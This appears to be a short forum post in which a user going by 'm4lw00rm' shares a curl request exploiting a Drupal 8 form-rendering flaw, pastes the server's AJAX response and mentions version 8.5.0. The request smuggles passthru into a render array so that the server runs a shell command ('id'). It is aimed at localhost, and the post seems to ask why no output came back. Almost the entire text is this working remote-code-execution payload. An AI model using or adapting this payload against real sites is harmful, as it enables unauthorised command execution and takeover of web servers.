m4lw00rm

curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id' 'http://127.0.0.1/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' i'm my case the result is: [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] drupal version is 8.5.0...